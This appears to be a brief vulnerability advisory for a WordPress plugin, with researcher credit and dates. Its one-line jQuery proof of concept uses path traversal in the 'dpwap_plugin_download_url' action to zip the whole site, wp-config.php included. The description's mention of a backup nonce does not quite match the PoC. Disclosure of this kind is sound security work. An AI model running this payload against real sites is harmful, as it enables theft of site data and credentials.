The plugins does not properly validate a user has the required privileges to access a backup's nonce identifier, which may allow any users with an account on the site (such as subscriber) to download a full copy of the website.
PoC: jQuery.post(ajaxurl,{ action:"dpwap_plugin_download_url", pluginData:"..\\..\\..\\wordpress" }) Warning: this will make a zip of the whole installation and takes a few minutes. The result is available at https://example.com/wordpress.zip and the zip file contains all files under the installation directory including wp-config.php.
apple502j
apple502j
Yes
2021-11-11 (about 1 years ago)
2022-11-02 (about 4 months ago)
2022-11-02 (about 4 months ago)